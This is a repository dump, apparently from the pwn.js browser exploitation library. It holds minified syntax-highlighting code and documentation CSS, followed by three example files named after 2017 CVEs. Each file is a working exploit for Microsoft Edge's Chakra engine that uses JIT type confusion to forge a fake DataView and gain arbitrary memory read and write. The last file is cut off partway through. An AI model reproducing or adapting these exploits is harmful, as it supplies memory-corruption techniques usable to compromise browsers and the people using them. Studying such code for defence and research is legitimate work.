m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/, 10 | q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/, 11 | q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g, 12 | "");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a), 13 | a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e} 14 | for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"], 18 | "catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"], 19 | H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"], 20 | J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+ 21 | I,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,["default-code"]);k(x([],[["pln",/^[^]*(?:>|$)/],["com",/^<\!--[\S\s]*?(?:--\>|$)/],["lang-",/^<\?([\S\s]+?)(?:\?>|$)/],["lang-",/^<%([\S\s]+?)(?:%>|$)/],["pun",/^(?:<[%?]|[%?]>)/],["lang-",/^]*>([\S\s]+?)<\/xmp\b[^>]*>/i],["lang-js",/^]*>([\S\s]*?)(<\/script\b[^>]*>)/i],["lang-css",/^]*>([\S\s]*?)(<\/style\b[^>]*>)/i],["lang-in.tag",/^(<\/?[a-z][^<>]*>)/i]]), 22 | ["default-markup","htm","html","mxml","xhtml","xml","xsl"]);k(x([["pln",/^\s+/,q," \t\r\n"],["atv",/^(?:"[^"]*"?|'[^']*'?)/,q,"\"'"]],[["tag",/^^<\/?[a-z](?:[\w-.:]*\w)?|\/?>$/i],["atn",/^(?!style[\s=]|on)[a-z](?:[\w:-]*\w)?/i],["lang-uq.val",/^=\s*([^\s"'>]*(?:[^\s"'/>]|\/(?=\s)))/],["pun",/^[/<->]+/],["lang-js",/^on\w+\s*=\s*"([^"]+)"/i],["lang-js",/^on\w+\s*=\s*'([^']+)'/i],["lang-js",/^on\w+\s*=\s*([^\s"'>]+)/i],["lang-css",/^style\s*=\s*"([^"]+)"/i],["lang-css",/^style\s*=\s*'([^']+)'/i],["lang-css", 23 | /^style\s*=\s*([^\s"'>]+)/i]]),["in.tag"]);k(x([],[["atv",/^[\S\s]+/]]),["uq.val"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),["c","cc","cpp","cxx","cyc","m"]);k(u({keywords:"null,true,false"}),["json"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),["cs"]);k(u({keywords:G,cStyleComments:!0}),["java"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),["bsh","csh","sh"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}), 24 | ["cv","py"]);k(u({keywords:"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["perl","pl","pm"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),["rb"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),["js"]);k(u({keywords:"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes", 25 | hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),["coffee"]);k(x([],[["str",/^[\S\s]+/]]),["regex"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement("PRE");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p=0){var k=k.match(g),f,b;if(b= 26 | !k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p ul { 202 | padding: 0 10px; 203 | } 204 | 205 | nav > ul > li > a { 206 | color: #606; 207 | } 208 | 209 | nav ul ul { 210 | margin-bottom: 10px 211 | } 212 | 213 | nav ul ul + ul { 214 | margin-top: -10px; 215 | } 216 | 217 | nav ul ul a { 218 | color: hsl(207, 1%, 60%); 219 | border-left: 1px solid hsl(207, 10%, 86%); 220 | } 221 | 222 | nav ul ul a, 223 | nav ul ul a:active { 224 | padding-left: 20px 225 | } 226 | 227 | nav h2 { 228 | font-size: 12px; 229 | margin: 0; 230 | padding: 0; 231 | } 232 | 233 | nav > h2 > a { 234 | display: block; 235 | margin: 10px 0 -10px; 236 | color: #606 !important; 237 | } 238 | 239 | footer { 240 | color: hsl(0, 0%, 28%); 241 | margin-left: 250px; 242 | display: block; 243 | padding: 15px; 244 | font-style: italic; 245 | font-size: 90%; 246 | } 247 | 248 | .ancestors { 249 | color: #999 250 | } 251 | 252 | .ancestors a { 253 | color: #999 !important; 254 | } 255 | 256 | .clear { 257 | clear: both 258 | } 259 | 260 | .important { 261 | font-weight: bold; 262 | color: #950B02; 263 | } 264 | 265 | .yes-def { 266 | text-indent: -1000px 267 | } 268 | 269 | .type-signature { 270 | color: #CA79CA 271 | } 272 | 273 | .type-signature:last-child { 274 | color: #eee; 275 | } 276 | 277 | .name, .signature { 278 | font-family: Consolas, Monaco, 'Andale Mono', monospace 279 | } 280 | 281 | .signature { 282 | color: #fc83ff; 283 | } 284 | 285 | .details { 286 | margin-top: 6px; 287 | border-left: 2px solid #DDD; 288 | line-height: 20px; 289 | font-size: 14px; 290 | } 291 | 292 | .details dt { 293 | width: 120px; 294 | float: left; 295 | padding-left: 10px; 296 | } 297 | 298 | .details dd { 299 | margin-left: 70px; 300 | margin-top: 6px; 301 | margin-bottom: 6px; 302 | } 303 | 304 | .details ul { 305 | margin: 0 306 | } 307 | 308 | .details ul { 309 | list-style-type: none 310 | } 311 | 312 | .details pre.prettyprint { 313 | margin: 0 314 | } 315 | 316 | .details .object-value { 317 | padding-top: 0 318 | } 319 | 320 | .description { 321 | margin-bottom: 1em; 322 | margin-top: 1em; 323 | } 324 | 325 | .code-caption { 326 | font-style: italic; 327 | font-size: 107%; 328 | margin: 0; 329 | } 330 | 331 | .prettyprint { 332 | font-size: 14px; 333 | overflow: auto; 334 | } 335 | 336 | .prettyprint.source { 337 | width: inherit; 338 | line-height: 18px; 339 | display: block; 340 | background-color: #0d152a; 341 | color: #aeaeae; 342 | } 343 | 344 | .prettyprint code { 345 | line-height: 18px; 346 | display: block; 347 | background-color: #0d152a; 348 | color: #4D4E53; 349 | } 350 | 351 | .prettyprint > code { 352 | padding: 15px; 353 | } 354 | 355 | .prettyprint .linenums code { 356 | padding: 0 15px 357 | } 358 | 359 | .prettyprint .linenums li:first-of-type code { 360 | padding-top: 15px 361 | } 362 | 363 | .prettyprint code span.line { 364 | display: inline-block 365 | } 366 | 367 | .prettyprint.linenums { 368 | padding-left: 70px; 369 | -webkit-user-select: none; 370 | -moz-user-select: none; 371 | -ms-user-select: none; 372 | user-select: none; 373 | } 374 | 375 | .prettyprint.linenums ol { 376 | padding-left: 0 377 | } 378 | 379 | .prettyprint.linenums li { 380 | border-left: 3px #34446B solid; 381 | } 382 | 383 | .prettyprint.linenums li.selected, .prettyprint.linenums li.selected * { 384 | background-color: #34446B; 385 | } 386 | 387 | .prettyprint.linenums li * { 388 | -webkit-user-select: text; 389 | -moz-user-select: text; 390 | -ms-user-select: text; 391 | user-select: text; 392 | } 393 | 394 | .params, .props { 395 | border-spacing: 0; 396 | border: 1px solid #ddd; 397 | border-collapse: collapse; 398 | border-radius: 3px; 399 | box-shadow: 0 1px 3px rgba(0,0,0,0.1); 400 | width: 100%; 401 | font-size: 14px; 402 | margin: 1em 0; 403 | } 404 | 405 | .params .type { 406 | white-space: nowrap; 407 | } 408 | 409 | .params code { 410 | white-space: pre; 411 | } 412 | 413 | .params td, .params .name, .props .name, .name code { 414 | color: #4D4E53; 415 | font-family: Consolas, Monaco, 'Andale Mono', monospace; 416 | font-size: 100%; 417 | } 418 | 419 | .params td, .params th, .props td, .props th { 420 | margin: 0px; 421 | text-align: left; 422 | vertical-align: top; 423 | padding: 10px; 424 | display: table-cell; 425 | } 426 | 427 | .params td { 428 | border-top: 1px solid #eee 429 | } 430 | 431 | .params thead tr, .props thead tr { 432 | background-color: #fff; 433 | font-weight: bold; 434 | } 435 | 436 | .params .params thead tr, .props .props thead tr { 437 | background-color: #fff; 438 | font-weight: bold; 439 | } 440 | 441 | .params td.description > p:first-child, .props td.description > p:first-child { 442 | margin-top: 0; 443 | padding-top: 0; 444 | } 445 | 446 | .params td.description > p:last-child, .props td.description > p:last-child { 447 | margin-bottom: 0; 448 | padding-bottom: 0; 449 | } 450 | 451 | span.param-type, .params td .param-type, .param-type dd { 452 | color: #606; 453 | font-family: Consolas, Monaco, 'Andale Mono', monospace 454 | } 455 | 456 | .param-type dt, .param-type dd { 457 | display: inline-block 458 | } 459 | 460 | .param-type { 461 | margin: 14px 0; 462 | } 463 | 464 | .disabled { 465 | color: #454545 466 | } 467 | 468 | /* navicon button */ 469 | .navicon-button { 470 | display: none; 471 | position: relative; 472 | padding: 2.0625rem 1.5rem; 473 | transition: 0.25s; 474 | cursor: pointer; 475 | -webkit-user-select: none; 476 | -moz-user-select: none; 477 | -ms-user-select: none; 478 | user-select: none; 479 | opacity: .8; 480 | } 481 | .navicon-button .navicon:before, .navicon-button .navicon:after { 482 | transition: 0.25s; 483 | } 484 | .navicon-button:hover { 485 | transition: 0.5s; 486 | opacity: 1; 487 | } 488 | .navicon-button:hover .navicon:before, .navicon-button:hover .navicon:after { 489 | transition: 0.25s; 490 | } 491 | .navicon-button:hover .navicon:before { 492 | top: .825rem; 493 | } 494 | .navicon-button:hover .navicon:after { 495 | top: -.825rem; 496 | } 497 | 498 | /* navicon */ 499 | .navicon { 500 | position: relative; 501 | width: 2.5em; 502 | height: .3125rem; 503 | background: #000; 504 | transition: 0.3s; 505 | border-radius: 2.5rem; 506 | } 507 | .navicon:before, .navicon:after { 508 | display: block; 509 | content: ""; 510 | height: .3125rem; 511 | width: 2.5rem; 512 | background: #000; 513 | position: absolute; 514 | z-index: -1; 515 | transition: 0.3s 0.25s; 516 | border-radius: 1rem; 517 | } 518 | .navicon:before { 519 | top: .625rem; 520 | } 521 | .navicon:after { 522 | top: -.625rem; 523 | } 524 | 525 | /* open */ 526 | .nav-trigger:checked + label:not(.steps) .navicon:before, 527 | .nav-trigger:checked + label:not(.steps) .navicon:after { 528 | top: 0 !important; 529 | } 530 | 531 | .nav-trigger:checked + label .navicon:before, 532 | .nav-trigger:checked + label .navicon:after { 533 | transition: 0.5s; 534 | } 535 | 536 | /* Minus */ 537 | .nav-trigger:checked + label { 538 | -webkit-transform: scale(0.75); 539 | transform: scale(0.75); 540 | } 541 | 542 | /* × and + */ 543 | .nav-trigger:checked + label.plus .navicon, 544 | .nav-trigger:checked + label.x .navicon { 545 | background: transparent; 546 | } 547 | 548 | .nav-trigger:checked + label.plus .navicon:before, 549 | .nav-trigger:checked + label.x .navicon:before { 550 | -webkit-transform: rotate(-45deg); 551 | transform: rotate(-45deg); 552 | background: #FFF; 553 | } 554 | 555 | .nav-trigger:checked + label.plus .navicon:after, 556 | .nav-trigger:checked + label.x .navicon:after { 557 | -webkit-transform: rotate(45deg); 558 | transform: rotate(45deg); 559 | background: #FFF; 560 | } 561 | 562 | .nav-trigger:checked + label.plus { 563 | -webkit-transform: scale(0.75) rotate(45deg); 564 | transform: scale(0.75) rotate(45deg); 565 | } 566 | 567 | .nav-trigger:checked ~ nav { 568 | left: 0 !important; 569 | } 570 | 571 | .nav-trigger:checked ~ .overlay { 572 | display: block; 573 | } 574 | 575 | .nav-trigger { 576 | position: fixed; 577 | top: 0; 578 | clip: rect(0, 0, 0, 0); 579 | } 580 | 581 | .overlay { 582 | display: none; 583 | position: fixed; 584 | top: 0; 585 | bottom: 0; 586 | left: 0; 587 | right: 0; 588 | width: 100%; 589 | height: 100%; 590 | background: hsla(0, 0%, 0%, 0.5); 591 | z-index: 1; 592 | } 593 | 594 | @media only screen and (min-width: 320px) and (max-width: 680px) { 595 | body { 596 | overflow-x: hidden; 597 | } 598 | 599 | nav { 600 | background: #FFF; 601 | width: 250px; 602 | height: 100%; 603 | position: fixed; 604 | top: 0; 605 | right: 0; 606 | bottom: 0; 607 | left: -250px; 608 | z-index: 3; 609 | padding: 0 10px; 610 | transition: left 0.2s; 611 | } 612 | 613 | .navicon-button { 614 | display: inline-block; 615 | position: fixed; 616 | top: 1.5em; 617 | right: 0; 618 | z-index: 2; 619 | } 620 | 621 | #main { 622 | width: 100%; 623 | min-width: 360px; 624 | } 625 | 626 | #main h1.page-title { 627 | margin: 1em 0; 628 | } 629 | 630 | #main section { 631 | padding: 0; 632 | } 633 | 634 | footer { 635 | margin-left: 0; 636 | } 637 | } 638 | 639 | /** Add a '#' to static members */ 640 | [data-type="member"] a::before { 641 | content: '#'; 642 | display: inline-block; 643 | margin-left: -14px; 644 | margin-right: 5px; 645 | } 646 | -------------------------------------------------------------------------------- /docs/styles/prettify.css: -------------------------------------------------------------------------------- 1 | .pln { 2 | color: #ddd; 3 | } 4 | 5 | /* string content */ 6 | .str { 7 | color: #61ce3c; 8 | } 9 | 10 | /* a keyword */ 11 | .kwd { 12 | color: #fbde2d; 13 | } 14 | 15 | /* a comment */ 16 | .com { 17 | color: #aeaeae; 18 | } 19 | 20 | /* a type name */ 21 | .typ { 22 | color: #8da6ce; 23 | } 24 | 25 | /* a literal value */ 26 | .lit { 27 | color: #fbde2d; 28 | } 29 | 30 | /* punctuation */ 31 | .pun { 32 | color: #ddd; 33 | } 34 | 35 | /* lisp open bracket */ 36 | .opn { 37 | color: #000000; 38 | } 39 | 40 | /* lisp close bracket */ 41 | .clo { 42 | color: #000000; 43 | } 44 | 45 | /* a markup tag name */ 46 | .tag { 47 | color: #8da6ce; 48 | } 49 | 50 | /* a markup attribute name */ 51 | .atn { 52 | color: #fbde2d; 53 | } 54 | 55 | /* a markup attribute value */ 56 | .atv { 57 | color: #ddd; 58 | } 59 | 60 | /* a declaration */ 61 | .dec { 62 | color: #EF5050; 63 | } 64 | 65 | /* a variable name */ 66 | .var { 67 | color: #c82829; 68 | } 69 | 70 | /* a function name */ 71 | .fun { 72 | color: #4271ae; 73 | } 74 | 75 | /* Specify class=linenums on a pre to get line numbering */ 76 | ol.linenums { 77 | margin-top: 0; 78 | margin-bottom: 0; 79 | } 80 | -------------------------------------------------------------------------------- /examples/CVE-2017-0071.js: -------------------------------------------------------------------------------- 1 | // IsDetached offset changes between major versions of Edge. 2 | // Windows 10 1607: 0x3C 3 | // Windows 10 1703: 0x20 4 | var Exploit = (function() { 5 | var ChakraExploit = pwnjs.ChakraExploit, 6 | Integer = pwnjs.Integer, 7 | getInt8 = DataView.prototype.getInt8, 8 | getInt16 = DataView.prototype.getInt16, 9 | getInt32 = DataView.prototype.getInt32, 10 | setInt8 = DataView.prototype.setInt8, 11 | setInt16 = DataView.prototype.setInt16, 12 | setInt32 = DataView.prototype.setInt32; 13 | 14 | function Exploit() { 15 | ChakraExploit.call(this); 16 | 17 | var array_addr; 18 | var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); 19 | var arr = [1.1, 2.2]; 20 | var b = new Uint32Array(100); 21 | var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); 22 | function opt(b, f, arr) { 23 | arr[0] = 1.1; 24 | b[0] = f; 25 | 26 | // read object address 27 | f64[0] = arr[0]; 28 | var base_lo = i32[0], base_hi = i32[1]; 29 | 30 | // corrupt element to point to fake_object data 31 | i32[0] = base_lo + 0x58; 32 | arr[0] = f64[0]; 33 | 34 | // Construct our fake DataView 35 | // vtable 36 | fake_object[0] = 0; fake_object[1] = 0; 37 | // Type* 38 | fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; 39 | // (TypeId for fake Type object) 40 | fake_object[4] = 56; fake_object[5] = 0; 41 | // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) 42 | fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; 43 | // Buffer size 44 | fake_object[8] = 0x200; fake_object[9] = 0; 45 | // ArrayBuffer pointer, +0x3C IsDetached 46 | fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; 47 | // Buffer address 48 | fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; 49 | 50 | array_addr = new Integer(base_lo, base_hi, true); 51 | } 52 | for (var i = 0; i < 0x10000; i++) { 53 | opt(b, 2, arr); 54 | } 55 | opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); 56 | 57 | this.dv = arr[0]; 58 | this.fake_object = fake_object; 59 | this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); 60 | } 61 | Exploit.prototype = Object.create(ChakraExploit.prototype); 62 | Exploit.prototype.constructor = Exploit; 63 | Exploit.prototype.read = function (address, size) { 64 | this.fake_object[14] = address.low | 0; 65 | this.fake_object[15] = address.high | 0; 66 | 67 | switch (size) { 68 | case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); 69 | case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); 70 | case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); 71 | case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); 72 | } 73 | } 74 | Exploit.prototype.write = function (address, value, size) { 75 | this.fake_object[14] = address.low | 0; 76 | this.fake_object[15] = address.high | 0; 77 | 78 | switch (size) { 79 | case 8: return setInt8.call(this.dv, 0, value.low|0, true); 80 | case 16: return setInt16.call(this.dv, 0, value.low|0, true); 81 | case 32: return setInt32.call(this.dv, 0, value.low|0, true); 82 | case 64: 83 | setInt32.call(this.dv, 0, value.low|0, true); 84 | setInt32.call(this.dv, 4, value.high|0, true); 85 | } 86 | } 87 | return Exploit; 88 | })(); 89 | -------------------------------------------------------------------------------- /examples/CVE-2017-0266.js: -------------------------------------------------------------------------------- 1 | // IsDetached offset changes between major versions of Edge. 2 | // Windows 10 1607: 0x3C 3 | // Windows 10 1703: 0x20 4 | var Exploit = (function() { 5 | var ChakraExploit = pwnjs.ChakraExploit, 6 | Integer = pwnjs.Integer, 7 | getInt8 = DataView.prototype.getInt8, 8 | getInt16 = DataView.prototype.getInt16, 9 | getInt32 = DataView.prototype.getInt32, 10 | setInt8 = DataView.prototype.setInt8, 11 | setInt16 = DataView.prototype.setInt16, 12 | setInt32 = DataView.prototype.setInt32; 13 | 14 | function Exploit() { 15 | ChakraExploit.call(this); 16 | 17 | var array_addr; 18 | var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); 19 | var arr = [1.1, 2.2]; 20 | var b = new Float32Array(100); 21 | var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); 22 | function opt(b, f, arr) { 23 | arr[0] = 1.1; 24 | b[0] = f; 25 | 26 | // read object address 27 | f64[0] = arr[0]; 28 | var base_lo = i32[0], base_hi = i32[1]; 29 | 30 | // corrupt element to point to fake_object data 31 | i32[0] = base_lo + 0x58; 32 | arr[0] = f64[0]; 33 | 34 | // Construct our fake DataView 35 | // vtable 36 | fake_object[0] = 0; fake_object[1] = 0; 37 | // Type* 38 | fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; 39 | // (TypeId for fake Type object) 40 | fake_object[4] = 56; fake_object[5] = 0; 41 | // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) 42 | fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; 43 | // Buffer size 44 | fake_object[8] = 0x200; fake_object[9] = 0; 45 | // ArrayBuffer pointer, +0x3C IsDetached 46 | fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; 47 | // Buffer address 48 | fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; 49 | 50 | array_addr = new Integer(base_lo, base_hi, true); 51 | } 52 | for (var i = 0; i < 0x10000; i++) { 53 | opt(b, 2, arr); 54 | } 55 | opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); 56 | 57 | this.dv = arr[0]; 58 | this.fake_object = fake_object; 59 | this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); 60 | } 61 | Exploit.prototype = Object.create(ChakraExploit.prototype); 62 | Exploit.prototype.constructor = Exploit; 63 | Exploit.prototype.read = function (address, size) { 64 | this.fake_object[14] = address.low | 0; 65 | this.fake_object[15] = address.high | 0; 66 | 67 | switch (size) { 68 | case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); 69 | case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); 70 | case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); 71 | case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); 72 | } 73 | } 74 | Exploit.prototype.write = function (address, value, size) { 75 | this.fake_object[14] = address.low | 0; 76 | this.fake_object[15] = address.high | 0; 77 | 78 | switch (size) { 79 | case 8: return setInt8.call(this.dv, 0, value.low|0, true); 80 | case 16: return setInt16.call(this.dv, 0, value.low|0, true); 81 | case 32: return setInt32.call(this.dv, 0, value.low|0, true); 82 | case 64: 83 | setInt32.call(this.dv, 0, value.low|0, true); 84 | setInt32.call(this.dv, 4, value.high|0, true); 85 | } 86 | } 87 | return Exploit; 88 | })(); 89 | -------------------------------------------------------------------------------- /examples/CVE-2017-11802.js: -------------------------------------------------------------------------------- 1 | // IsDetached offset changes between major versions of Edge. 2 | // Windows 10 1607: 0x3C 3 | // Windows 10 1703: 0x20 4 | var Exploit = (function() { 5 | var ChakraExploit = pwnjs.ChakraExploit, 6 | Integer = pwnjs.Integer, 7 | getInt8 = DataView.prototype.getInt8, 8 | getInt16 = DataView.prototype.getInt16, 9 | getInt32 = DataView.prototype.getInt32, 10 | setInt8 = DataView.prototype.setInt8, 11 | setInt16 = DataView.prototype.setInt16, 12 | setInt32 = DataView.prototype.setInt32; 13 | 14 | function Exploit() { 15 | ChakraExploit.call(this); 16 | 17 | var array_addr; 18 | var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); 19 | var arr = [1.1, 2.2]; 20 | var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); 21 | function opt(f, arr) { 22 | arr[0] = 1.1; 23 | arr[1] = 'a'.replace('a', f)|0; 24 | 25 | // read object address 26 | f64[0] = arr[0]; 27 | var base_lo = i32[0], base_hi = i32[1]; 28 | 29 | // corrupt element to point to fake_object data 30 | i32[0] = base_lo + 0x58; 31 | arr[0] = f64[0]; 32 | 33 | // Construct our fake DataView 34 | // vtable 35 | fake_object[0] = 0; fake_object[1] = 0; 36 | // Type* 37 | fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; 38 | // (TypeId for fake Type object) 39 | fake_object[4] = 56; fake_object[5] = 0; 40 | // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) 41 | fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; 42 | // Buffer size 43 | fake_object[8] = 0x200; fake_object[9] = 0; 44 | // ArrayBuffer pointer, +0x3C IsDetached 45 | fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; 46 | // Buffer address 47 | fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; 48 | 49 | array_addr = new Integer(base_lo, base_hi, true); 50 | } 51 | for (var i = 0; i < 0x10000; i++) { 52 | opt(() => 2, arr); 53 | } 54 | opt(() => { arr[0] = fake_object; }, arr); 55 | 56 | this.dv = arr[0]; 57 | this.fake_object = fake_object; 58 | this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); 59 | } 60 | Exploit.prototype = 